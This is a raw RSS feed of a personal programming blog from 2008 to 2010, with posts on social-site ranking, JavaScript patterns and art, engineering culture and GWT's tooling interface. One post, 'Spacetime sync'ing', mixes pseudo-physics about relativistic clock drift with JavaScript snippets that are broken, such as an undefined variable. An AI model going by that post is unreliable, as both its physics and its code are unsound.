&lt;a href="http://www.flickr.com/photos/darkgoyle/1538256103/" title="I'm in your beaches"&gt;&lt;img src="http://farm3.static.flickr.com/2213/1538256103_0df2ba09f7.jpg" width="500" height="333" alt="I'm in your beaches" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-6622107641284825397?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=W1nJulycGzA:k7HciZ89pjU:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/W1nJulycGzA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/W1nJulycGzA/where-oauth-and-everything-social-fails.html</link><author>noreply@blogger.com (Francisco Brito)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://farm3.static.flickr.com/2213/1538256103_0df2ba09f7_t.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2010/02/where-oauth-and-everything-social-fails.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-4045639178560540804</guid><pubDate>Tue, 02 Feb 2010 22:11:00 +0000</pubDate><atom:updated>2010-02-02T14:12:32.500-08:00</atom:updated><title>Users are the beating heart of the internet.</title><description>&lt;img src="http://www.gravity.com/uploads/logo/1/22/00/22/206b1dc870e92377e1103cce5a53b4f6_128.jpeg" alt="Gravity logo" style="float:right;margin:5px;padding:3px;border:1px solid black;"/&gt;Users flock to a site; and then what?&lt;br /&gt;Why do they?&lt;br /&gt;&lt;br /&gt;The internet is a vast universe. The bleeding edge is always too far to see, as well as the long tail of users. The reality is, there are new people coming online all the time; a constant stream of confused newbies. How do we capture them? How do we create an appealing product?&lt;br /&gt;&lt;br /&gt;Timing and marketing are a separate, but crucial component. That is dealt by people more competent than I am. Technologically, however, I ask these questions: What needs to happen on &lt;a href="http://www.gravity.com"&gt;Gravity&lt;/a&gt; to make people want to come back often? What needs to happen to make people feel like sharing stories of good quality? How do we cut down on the chattiness and crank up the quality of content?&lt;br /&gt;&lt;br /&gt;This is the generic problem that everyone with a dream faces.&lt;br /&gt;&lt;br /&gt;We need to ask each user, what do you like? what interests you? what do you already do? Users look for information, and filter and create and shuffle information. Most importantly, users need feedback. People asking for your advice, people letting you know when your opinion is valuable.&lt;br /&gt;&lt;br /&gt;A nerdy way to see it: a user, like our system, has an input, and an output.&lt;br /&gt;The output can be interpreted (and predicted) if the input is known. In terms of quantity, the input is a relative positive (as it increments the information in the system) and the output, compared to the input, can be less (information was filtered) or more (information was created), dissimilar (shuffled) or a combination of these. All these outputs are embedded with the ideas and feelings of each user, and an increasing quality will see increasing number of users on the site.&lt;br /&gt;&lt;br /&gt;From the information consumption perspective, the user should always be shown the best content first, diminishing in relevance as she scrolls down. From the technical perspective, how does this ranking happen?&lt;br /&gt;&lt;br /&gt;There needs to be a very transparent system for tracking user intention: assigning positive and negative points between users and items and rank them accordingly. Examples of explicit interaction: liking and orbiting. Weak indicators could be clicks, scrolls and mouse movements. These scores could be propagated to make educated guesses.&lt;br /&gt;&lt;br /&gt;Intrinsic value for an object is determined by its outgoing positive connections. In other words, only external interest determines value of the object in question, and only relative to those consuming it. When it comes down to users and what they post, having someone else like your stuff is the only way you will get credibility, regardless of how good something is, according to you.&lt;br /&gt;&lt;br /&gt;However, this is not the whole story. A company's success depends on how useful it is to its users. The metric of usefulness for each user will depend on how often users want to come back and invite the ones they trust. Again, it's a matter of propagating good stuff to the people you care about.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-4045639178560540804?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=Uq2mFCq98hs:83mvF2TlH7M:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/Uq2mFCq98hs" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/Uq2mFCq98hs/users-flock-to-site-and-then-what-why.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2010/02/users-flock-to-site-and-then-what-why.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-6624223170593878636</guid><pubDate>Thu, 28 Jan 2010 03:00:00 +0000</pubDate><atom:updated>2010-01-27T19:00:06.533-08:00</atom:updated><title>Spacetime sync'ing</title><description>When two points are moving through space and time, there is a warp in the spacetime fabric between them, caused by relativity effects.&lt;br /&gt;
&lt;br /&gt;
When computers leave the factory, their clocks are set and Quality Control ensures they are beating in sync. As they are shipped and handled they invariably end up taking different routes through space and time which could make the clocks differ. &lt;br /&gt;
&lt;br /&gt;
If an observer measures the clock, frequency and the numerical value might appear the same between two points. But this implies a third, observing, absolute point.&lt;br /&gt;
&lt;br /&gt;
But how do only two points do it? &lt;br /&gt;
&lt;br /&gt;
If one computer sends its current time value, there IS a delay when comparing:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="prettyprint"&gt;function compare(tick){
  return tick == new Date;
}
&lt;/pre&gt;&lt;br /&gt;
Seems like a difficult task to make that function return true.&lt;br /&gt;
&lt;br /&gt;
However, let's assume that the clocks don't differ and what this warping is actually the medium through which the computers are communicating. We start with the assumption that the epoch (the origin or zero) is constant between all computers and assume that any difference in synchronicity is directly caused by a warp in the communication medium.&lt;br /&gt;
&lt;br /&gt;
Furthermore, assume that the computers in question are physically the same computer, but in different positions in time. Could we send messages &lt;i&gt;back&lt;/i&gt; and forth between them?&lt;br /&gt;
&lt;br /&gt;
Analizing a possible method:&lt;br /&gt;
&lt;br /&gt;
Taking a binary stream (since that is what electronics communicate through), measure the length between changes. That is, instead of measuring how many times a 1 or 0 were encountered, only measure how long it remains unchanged. An unwarped system does not have separate information of data and time because all distances are unitary, therefore we assume that time is constant.&lt;br /&gt;
&lt;br /&gt;
To function like a reliable channel and data storage node, information exchanged must be unchanged and encrypted. Assuming that both nodes have a separate resolution of time, their unique id would be their time signatures, as measured by themselves. This unique id is what serves as a crypto key, and not even the client knows it, the key itself is encrypted into the memory, as a signature of how the memory is allocated.&lt;br /&gt;
&lt;br /&gt;
Using then time as part of the data, the problem becomes a matter of storing the data, unwarped.&lt;br /&gt;
&lt;br /&gt;
Since we assume that two nodes cannot control the warp on the medium, but to comply with being a reliable data store each node can assume that it will get what it expects. The first test of the system is its ability to function like a memory:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="prettyprint"&gt;function recall(reference){
  // the very first thing: to record the first data point
  var now = Number(new Date);
  // while no change, return nothing
  if (!reference) return;

  var callee = arguments.callee;
  var caller = callee.caller;
  
  setTimeout(function(){
  // callback with data response
    caller.call(null, callee[reference]);
  // in this unwarped medium, the ratio remains constant
  // so a client would expect a spacetime delay directly
  // proportional to the data given. In other words, the
  // function takes a predictable amount of time to execute
  }, start/Number(new Date));
}
&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="prettyprint"&gt;var bytestream = '11000010';
// calculating lengths = 2, 4, 1, 1:

function measure(){
  var start = Number(new Date);
  var caller = arguments.callee.caller;
  var input = Number(arguments[0]) || 0;
  // function serves as its own memory
  var memory = arguments.callee;
  var response = memory[input];
  setTimeout(function(){
    caller.call(caller, response);
  }, Number(response || 0)/start);
}
&lt;/pre&gt;&lt;br /&gt;
Can this work?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-6624223170593878636?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=RRAsmaAZ6aw:mt8Tg4DHIe0:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/RRAsmaAZ6aw" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/RRAsmaAZ6aw/spacetime-syncing.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2010/01/spacetime-syncing.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-4167592220761618632</guid><pubDate>Sun, 27 Dec 2009 22:08:00 +0000</pubDate><atom:updated>2010-01-27T18:56:44.153-08:00</atom:updated><title>Playful</title><description>&lt;code&gt;//TODO: get code prettifier for blog :)&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
I feel like creating art with javascript.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;
&amp;lt;!doctype&gt;
&amp;lt;style&gt;
*{margin:0;padding:0;border:0}
body{
height:100%;
width:100%;
}
div{
background:red;
margin:auto;
}
&amp;lt;/style&gt;
&amp;lt;body&gt;
&amp;lt;script&gt;
console.log('ok', Phi = Math.sqrt(5)/2 + .5);

(function(step){
  console.log(step);

  plot(step);
  
  if (step &gt; Phi) arguments.callee.call(this, step / Phi);
  else setTimeout(arguments.callee, step * Phi);

})();

/**
 * Example plot function
 * @param n The step number from balancer function
 */
function plot(n){
  // font size allows for a one-time value change in the page that will affect
  // relatively-defined units, in this case divs with em dimensions.
  var last = parseInt(document.body.style.fontSize)/100 || 0;
  n = n || last;
  // Pick relatively larger number
  // This number is a relative maximum
  var max = Math.sqrt(last || 1 * n) * 100;
  document.body.style.fontSize = max + '%';
  
  // relative rendering number
  var rel = n/max;
  
  var block = document.createElement('div');
  
  block.style.backgroundColor = 'red';
  
  block.style.MozOpacity = n/100;
  block.style.height = '1em';
  block.style.width = rel * 50 + '%';
  document.body.appendChild(block);
  if (window.scrollMaxY) document.body.removeChild(document.body.firstChild);
  if (n &lt; 0) document.body.innerHTML = '';
}
&amp;lt;/script&gt;
&amp;lt;/body&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-4167592220761618632?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=AoffqjGdkTE:yqlewU4Dw00:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/AoffqjGdkTE" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/AoffqjGdkTE/playful.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>1</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2009/12/playful.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-8848381906398504142</guid><pubDate>Sun, 13 Dec 2009 06:40:00 +0000</pubDate><atom:updated>2009-12-12T22:41:29.142-08:00</atom:updated><title>Secure string interpolation</title><description>While working on &lt;a href="giddy.googlecode.com"&gt;giddy&lt;/a&gt;/&lt;a href="gnius.googlecode.com"&gt;gNius&lt;/a&gt;, I ran across this article about &lt;a href="http://google-caja.googlecode.com/svn/changes/mikesamuel/string-interpolation-29-Jan-2008/trunk/src/js/com/google/caja/interp/index.html"&gt;Secure interpolation on JavaScript&lt;/a&gt; written by peeps at Google's Caja. Very well written and nowhere close to my "this should work" approach. Check it out.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-8848381906398504142?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=D55Xk8_4pko:4mMG98lAQIM:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/D55Xk8_4pko" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/D55Xk8_4pko/secure-string-interpolation.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2009/12/secure-string-interpolation.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-3919318761684389707</guid><pubDate>Fri, 26 Jun 2009 03:50:00 +0000</pubDate><atom:updated>2009-06-26T00:10:43.488-07:00</atom:updated><title>Structure</title><description>An ideal software development environment would be, among other things, reliable.&lt;br /&gt;&lt;br /&gt;Currently, systems use tests to keep expectations and reality linked to some degree. Compilers for example, can somewhat also test the code, but only to the extent that is syntactically correct. But there are at least 3 kinds of errors: syntax, runtime and intent. The first two are familiar, the third one signals a disconnection between user expectation and running code. A bug.&lt;br /&gt;&lt;br /&gt;I've been working for a while on what I see as The Software Engineering Problem. You know, programmers that are demotivated, project managers who are stressed, designers who are frustrated, etc. I come from a classical engineering background: Mechanical, electrical, automotive. As such, I am often taken aback by the things happening in software that would just not fly on meatworld. There's a &lt;a href="http://www.linuxjournal.com/article/5069"&gt;great article on Linux Journal&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;This is where the system I envision fits: connecting human expectations with computer execution, with minimal explicit human interaction. It is what robots did for Detroit: automate lower level tasks to free resources for higher level planning, with much higher quality results.&lt;br /&gt;&lt;br /&gt;For the time being, the intent behind this prototyping UI environment is to minimize the time spent cranking functionality. This time can be cut by making for example a meta-testing program, which can collaborate with the developer to write unit tests automatically; or by making it easy to write interfaces so people with a more visual skill don't need to also know a great deal of programming or rely on someone else (and the quality of the communication between them) to write a mockup or prototype. This bit could amount for several &lt;i&gt;months&lt;/i&gt; saved per small feature.&lt;br /&gt;&lt;br /&gt;By focusing on human intent, computer systems can be built that are much more optimal, because the name of the problem is Human-Computer-Interaction. Much more if we are aiming for the birth of Artificial Intelligence, or the emergence of a hive mind. Previously, the idea had been to focus on the user but it seems that engineers were left behind there. "The CLIENT is who we focus on, not the lowly developer. You do what you have to do to rake in the money." Not so much.&lt;br /&gt;&lt;br /&gt;I don't know if there's even such a place, but I'm just glad it's not really like that for me. That doesn't mean that it couldn't be improved.&lt;br /&gt;&lt;br /&gt;Finally, "capture requirements in the user's terms, and then to try to create an implementation language as isomorphic as possible to the user's descriptions, so that the mapping between requirements and implementation is as direct as possible" --&lt;a href="http://en.wikipedia.org/wiki/Language-oriented_programming"&gt;Language Oriented Programming&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-3919318761684389707?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=0qgKRPhg5E0:nTE1g1xX1DU:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/0qgKRPhg5E0" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/0qgKRPhg5E0/structure.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2009/06/structure.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-2535411462620324187</guid><pubDate>Wed, 06 May 2009 01:01:00 +0000</pubDate><atom:updated>2009-05-05T18:18:47.098-07:00</atom:updated><title>How to make engineers quit</title><description>1. &lt;strong&gt;Put them to work with tools that are inefficient.&lt;/strong&gt; Good examples are: spaghetti code, slow or unneeded compiles and server restarts, infinitely complicated instructions and a billion systems that only a true god could figure how to make them work together.&lt;br /&gt;&lt;br /&gt;2. &lt;strong&gt;Inundate them with feature requests and bugs&lt;/strong&gt;, making sure that the deadlines sound reasonable for an optimal environment. After all, their time should be well accounted for.&lt;br /&gt;&lt;br /&gt;So far, you already have a winning recipe. Your engineers will be swamped every time they want to do something because, ideally, it should take as long as &lt;em&gt;they&lt;/em&gt; estimated in the first place, not really knowing the state of the underlying code.&lt;br /&gt;&lt;br /&gt;Of course, you can't know the state of the code until you actually try working with it. If the engineer is not experienced enough, he or she can't figure out that it's not supposed to be this hard in the first place. This makes the engineer feel stupid.&lt;br /&gt;&lt;br /&gt;There's more ways to make this more fun:&lt;br /&gt;&lt;br /&gt;3. &lt;strong&gt;Reward those who are eager to write code, but inexperienced.&lt;/strong&gt; This ensures you get a lot of features at the cost of exploding code. Tell yourself that as long as something is documented, then that's all it needs. &lt;br /&gt;&lt;br /&gt;Remember, users never come first. A good and often used example of this is ignoring that any code that is written is supposed to be used by another, &lt;em&gt;different&lt;/em&gt; human. Make sure you don't design for simplicity, but something that is more tangible, like page load speed.&lt;br /&gt;&lt;br /&gt;4. &lt;strong&gt;Don't pay attention to engineers warning about the state of the tools&lt;/strong&gt;. If the young'uns can deal with it, then clearly that's just an excuse to slack off.&lt;br /&gt;&lt;br /&gt;Stay tuned for your next issue: How to lose your business to your ex-employees in a few years. Hint: it has something to do with being able to push features faster.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-2535411462620324187?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=XPcTfPA8-fU:8UWF7ewTw3U:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/XPcTfPA8-fU" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/XPcTfPA8-fU/how-to-make-engineers-quit.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2009/05/how-to-make-engineers-quit.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-2570470196833620467</guid><pubDate>Fri, 17 Apr 2009 08:16:00 +0000</pubDate><atom:updated>2009-05-03T12:07:15.296-07:00</atom:updated><title>Anonymous Construct Pattern</title><description>&lt;em&gt;I've been furiously working on "the red pill"... this is the latest&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;JavaScript. A powerful language, misunderstood.&lt;br /&gt;&lt;br /&gt;So many people have tried to tame it with libraries. Many have failed, some have succeeded.&lt;br /&gt;&lt;br /&gt;The idea behind a library either local, company-wide or open source, is to abstract imperfect parts: Not all browsers behave the same and it's extremely difficult to tame them. Gathering all this knowledge into a library saves &lt;em&gt;a lot&lt;/em&gt; of time.&lt;br /&gt;&lt;br /&gt;Many have tried to put some structure into JavaScript, but have only succeeded in creating only Java-ish. Classes, supers, the works.&lt;br /&gt;&lt;br /&gt;A good abstraction is one that we don't have to think about. It just works and it's easy to use it.&lt;br /&gt;&lt;br /&gt;Let's say that we want to make the powerful in JavaScript more friendly for kids that shouldn't play with fire. Let's tame closures for them and offer the scopes they are familiar with: private and public. Classical inheritance is sack of potatoes: heavy (when full of potatoes) and old school.&lt;br /&gt;&lt;br /&gt;Let's say we create a translator for the rest.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Part I: Construct&lt;/h4&gt;&lt;br /&gt;&lt;li&gt;An anonymous construct does not pollute; it is humble. Only its UID is exposed.&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;Construct's instance and static (immutable) scaffolds:&lt;/h5&gt;&lt;br /&gt;&lt;pre&gt;/**&lt;br /&gt;* @constructor&lt;br /&gt;*/&lt;br /&gt;(window.Construct = function(){&lt;br /&gt; // instance&lt;br /&gt;}).prototype = new function(){&lt;br /&gt; // static&lt;br /&gt;};&lt;/pre&gt;&lt;br /&gt;&lt;h5&gt;Private members, public members:&lt;/h5&gt;&lt;br /&gt;&lt;pre&gt;(window.Construct = function(){&lt;br /&gt; this.private = {};&lt;br /&gt;}).prototype = new function(){&lt;br /&gt; this.public = {};&lt;br /&gt;};&lt;/pre&gt;&lt;br /&gt;&lt;h5&gt;Closures:&lt;/h5&gt;&lt;br /&gt;&lt;pre&gt;(window.Construct = function(){&lt;br /&gt; var closure = {};&lt;br /&gt; this.private = function(){&lt;br /&gt;  with(closure){&lt;br /&gt;   // private, with access to closure objects  &lt;br /&gt;  } &lt;br /&gt; };&lt;br /&gt;}).prototype = new function(){&lt;br /&gt; var closure = {};&lt;br /&gt; this.public = function(){&lt;br /&gt;  with(closure){&lt;br /&gt;   // public, with access to closure objects  &lt;br /&gt;  } &lt;br /&gt; };&lt;br /&gt;};&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-2570470196833620467?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=6Hs9pBHxmvk:qystxXq6N4Q:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/6Hs9pBHxmvk" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/6Hs9pBHxmvk/anonymous-construct-pattern.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2009/04/anonymous-construct-pattern.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-857254208326666973</guid><pubDate>Tue, 10 Feb 2009 19:36:00 +0000</pubDate><atom:updated>2009-02-10T11:37:40.868-08:00</atom:updated><title>The time is coming</title><description>Will you miss out?&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt;new Date(1234567890123);&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-857254208326666973?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=77HQJ3SsyAQ:1WuPp0IqCOg:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/77HQJ3SsyAQ" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/77HQJ3SsyAQ/time-is-coming.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2009/02/time-is-coming.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-7843127930763847510</guid><pubDate>Tue, 16 Dec 2008 18:39:00 +0000</pubDate><atom:updated>2008-12-21T19:51:43.001-08:00</atom:updated><title>This is why I don't get any work done</title><description>&lt;pre&gt;(function () {
    var lyrics = [];
    ['badger', 'mushroom', 'snake'].forEach(function(word) {
        window[word] = function(){ lyrics.push(word); };
    });
    function repeat(f, n) {
        for (var i=0; i &lt;= n; ++i) {
            f();
        }        
    }
    repeat(function(){
        repeat(badger,11);
        repeat(mushroom,2);
    }, 3);
    repeat(badger,11);
    repeat(snake,4);
    alert(lyrics.join());
})();&lt;/pre&gt;

I'm sure you remember &lt;a href="http://www.youtube.com/watch?v=GOxR7rTYuSI"&gt;the song&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-7843127930763847510?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=CWGtHd_cnVQ:lG1Eu7T96fE:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/CWGtHd_cnVQ" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/CWGtHd_cnVQ/this-is-why-i-dont-get-any-work-done.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2008/12/this-is-why-i-dont-get-any-work-done.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-5181624287533511390</guid><pubDate>Thu, 21 Aug 2008 19:56:00 +0000</pubDate><atom:updated>2008-08-21T13:40:20.125-07:00</atom:updated><title>Interface design</title><description>Nobody doubts that the interface of a shiny new iPhone or macbook were thoroughly thought through. Most of the tangible things we use have a thought process behind them that reflect that there were people thinking about how these things were to be used. Ranging from kitchen tools to a car dashboard, it's evident that this interface design is present.&lt;br /&gt;&lt;br /&gt;Lately, as the web evolves, the same concepts are ported into new disciplines: interface design becomes a crucial component of any respectable web site or application. I can't say that most interfaces have been thought through, but the concept is there. &lt;br /&gt;&lt;br /&gt;Unfortunately, when it comes to programming interfaces, one can sadly see that they have not been thought through &lt;i&gt;at all&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;I'm taking a break from my first attempt at a GWT application to give you an example:&lt;br /&gt;&lt;br /&gt;1. To create an Eclipse project:&lt;br /&gt;&lt;code&gt;projectCreator -eclipse MyProject&lt;/code&gt;&lt;br /&gt;2. Then, you need to create the application skeleton:&lt;br /&gt;&lt;code&gt;applicationCreator -eclipse MyProject com.mycompany.client.MyApplication&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Looks super simple, but:&lt;br /&gt;- Why do I need to repeat -eclipse MyProject? Can't the applicationCreator detect an existing eclipse project? Apparently not&lt;br /&gt;- From the example, it seems like i should be able to create &lt;code&gt;com.failcorp.something.MyTestApplication&lt;/code&gt; right? No. I get a warning:&lt;br /&gt;&lt;blockquote&gt;Please use 'client' as the final package, as in 'com.example.foo.client.MyApp'.It isn't technically necessary, but this tool enforces the best practice.&lt;/blockquote&gt;&lt;br /&gt;Uh, if you're going to enforce it, can you not give an example where you can change &lt;i&gt;anything but&lt;/i&gt; &lt;b&gt;client&lt;/b&gt; on it? Yeah, you can change &lt;code&gt;com, example, foo&lt;/code&gt; and &lt;code&gt;MyApp&lt;/code&gt; but not &lt;i&gt;client&lt;/i&gt;. That's a bit obtuse. &lt;br /&gt;&lt;br /&gt;No disrespect. GWT is the product of very hard work and deserves lots of props. This example does not in any way represent the quality of GWT but it does portray a problem that the vast majority of software tools and web applications have: their interfaces are designed by people familiar with the solution --and sometimes not even familiar with the problem, as I point out below--. The result? People familiar with the problem and unfamiliar with the solution spend an unacceptable amount of time trying to learn how to use the tools. It so pervades our programming culture, that nobody makes a public stink about it. Once you learn it, it's not a problem; and if you haven't learned it yet then you should probably feel stupid until you do.&lt;br /&gt;&lt;br /&gt;The issue is becoming more obvious in web applications: the features are driven by CEOs, managers, sales people, etc. People that "know" the landscape. How come programmers often end up not implementing what clients most often ask for? Who is the product for? What's worse is that these product designers often don't even use the product and are unfamiliar with the problems it attempts to solve. This is why the dogfood concept is so important: if you don't use it, you'll never know if it's useful or not.&lt;br /&gt;&lt;br /&gt;I mentioned before the hardware design of Apple products: it might not be perfect, but it's superior to the average. Here's an example for the software world: &lt;a href="http://jquery.com"&gt;jQuery&lt;/a&gt;. This tiny library does about the same as many others. Maybe it's faster, maybe it's smaller, maybe it's hotly debated. But what is really different is that it was &lt;i&gt;designed&lt;/i&gt; to be easy to use, and it really is. The difference is so vast, that it's actually difficult to express how different it is to someone who is used to clunky APIs.&lt;br /&gt;&lt;br /&gt;Ultimately, is a tool designed only to solve a problem or does it keep in mind its users? Writing an API or command-line tool should NOT be like slapping buttons on a box.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-5181624287533511390?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=-ZTPlw7PRdI:qSJbTmBL39M:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
